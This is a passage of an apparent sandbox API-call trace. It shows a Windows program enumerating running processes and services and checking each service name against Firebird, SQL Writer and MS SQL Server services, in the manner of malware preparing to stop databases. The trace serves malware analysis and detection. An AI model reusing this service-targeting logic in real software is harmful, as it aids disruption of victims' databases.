lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0157.432] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0157.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0157.432] lstrlenW (lpString="SamSs") returned 5 [0157.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0157.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0157.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0157.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0157.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0157.432] lstrlenW (lpString="Schedule") returned 8 [0157.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0157.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0157.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0157.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0157.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0157.432] lstrlenW (lpString="SecurityHealthService") returned 21 [0157.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0157.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0157.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0157.432] lstrlenW (lpString="SENS") returned 4 [0157.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0157.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0157.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0157.433] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0157.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0157.433] lstrlenW (lpString="ShellHWDetection") returned 16 [0157.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0157.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0157.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0157.433] lstrlenW (lpString="Spooler") returned 7 [0157.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0157.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0157.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0157.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0157.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0157.433] lstrlenW (lpString="StateRepository") returned 15 [0157.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0157.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0157.433] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0157.433] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0157.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0157.433] lstrlenW (lpString="SysMain") returned 7 [0157.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0157.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0157.433] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0157.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0157.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0157.434] lstrlenW (lpString="SystemEventsBroker") returned 18 [0157.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0157.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0157.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0157.434] lstrlenW (lpString="Themes") returned 6 [0157.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0157.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0157.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0157.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0157.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0157.434] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0157.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0157.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0157.434] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0157.434] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0157.435] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78aed8 | out: hHeap=0x710000) returned 1 [0157.435] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a8 [0157.701] Process32FirstW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.702] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0157.703] lstrlenW (lpString="System") returned 6 [0157.703] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0157.704] lstrlenW (lpString="smss.exe") returned 8 [0157.704] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.705] lstrlenW (lpString="csrss.exe") returned 9 [0157.705] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0157.706] lstrlenW (lpString="wininit.exe") returned 11 [0157.706] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.706] lstrlenW (lpString="csrss.exe") returned 9 [0157.706] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0157.707] lstrlenW (lpString="winlogon.exe") returned 12 [0157.707] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0157.708] lstrlenW (lpString="services.exe") returned 12 [0157.708] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0157.708] lstrlenW (lpString="lsass.exe") returned 9 [0157.708] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0157.709] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0157.709] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0157.709] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0157.709] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.710] lstrlenW (lpString="svchost.exe") returned 11 [0157.710] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.711] lstrlenW (lpString="svchost.exe") returned 11 [0157.711] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0157.711] lstrlenW (lpString="dwm.exe") returned 7 [0157.711] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.712] lstrlenW (lpString="svchost.exe") returned 11 [0157.712] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.713] lstrlenW (lpString="svchost.exe") returned 11 [0157.713] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.713] lstrlenW (lpString="svchost.exe") returned 11 [0157.713] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.714] lstrlenW (lpString="svchost.exe") returned 11 [0157.714] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.715] lstrlenW (lpString="svchost.exe") returned 11 [0157.715] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.715] lstrlenW (lpString="svchost.exe") returned 11 [0157.715] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.716] lstrlenW (lpString="svchost.exe") returned 11 [0157.716] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.717] lstrlenW (lpString="svchost.exe") returned 11 [0157.717] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.717] lstrlenW (lpString="svchost.exe") returned 11 [0157.717] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.718] lstrlenW (lpString="svchost.exe") returned 11 [0157.718] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0157.719] lstrlenW (lpString="spoolsv.exe") returned 11 [0157.719] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.719] lstrlenW (lpString="svchost.exe") returned 11 [0157.719] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0157.720] lstrlenW (lpString="audiodg.exe") returned 11 [0157.720] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0157.721] lstrlenW (lpString="taskhostw.exe") returned 13 [0157.721] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0157.721] lstrlenW (lpString="sihost.exe") returned 10 [0157.722] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.722] lstrlenW (lpString="svchost.exe") returned 11 [0157.722] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0157.723] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0157.723] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0157.724] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0157.724] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0157.725] lstrlenW (lpString="Memory Compression") returned 18 [0157.725] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0157.725] lstrlenW (lpString="MDMAgent.exe") returned 12 [0157.725] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0157.726] lstrlenW (lpString="taskhostw.exe") returned 13 [0157.726] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0157.727] lstrlenW (lpString="msoia.exe") returned 9 [0157.727] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0157.727] lstrlenW (lpString="explorer.exe") returned 12 [0157.727] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0157.728] lstrlenW (lpString="SearchUI.exe") returned 12 [0157.728] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0157.729] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0157.729] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0157.730] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0157.730] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0157.730] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0157.730] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0157.731] lstrlenW (lpString="mobsync.exe") returned 11 [0157.731] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0157.732] lstrlenW (lpString="wmxsde.exe") returned 10 [0157.732] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0157.732] lstrlenW (lpString="wmxsde.exe") returned 10 [0157.732] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0158.271] lstrlenW (lpString="cmd.exe") returned 7 [0158.271] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.272] lstrlenW (lpString="conhost.exe") returned 11 [0158.272] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0158.273] CloseHandle (hObject=0x2a8) returned 1 [0158.273] Sleep (dwMilliseconds=0x1f4) [0159.058] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x74dba8 [0159.059] EnumServicesStatusExW (in: hSCManager=0x74dba8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0159.059] GetLastError () returned 0xea [0159.059] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bbc) returned 0x801ee8 [0159.060] EnumServicesStatusExW (in: hSCManager=0x74dba8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801ee8, cbBufSize=0x1bbc, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801ee8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0159.060] CloseServiceHandle (hSCObject=0x74dba8) returned 1 [0159.061] lstrlenW (lpString="AppXSvc") returned 7 [0159.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0159.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0159.061] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0159.061] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0159.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0159.061] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0159.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.061] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0159.061] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0159.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0159.061] lstrlenW (lpString="Audiosrv") returned 8 [0159.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0159.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0159.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0159.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0159.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0159.061] lstrlenW (lpString="BFE") returned 3 [0159.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0159.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0159.061] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0159.061] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0159.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0159.062] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0159.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.062] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0159.062] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0159.062] lstrcmpiW 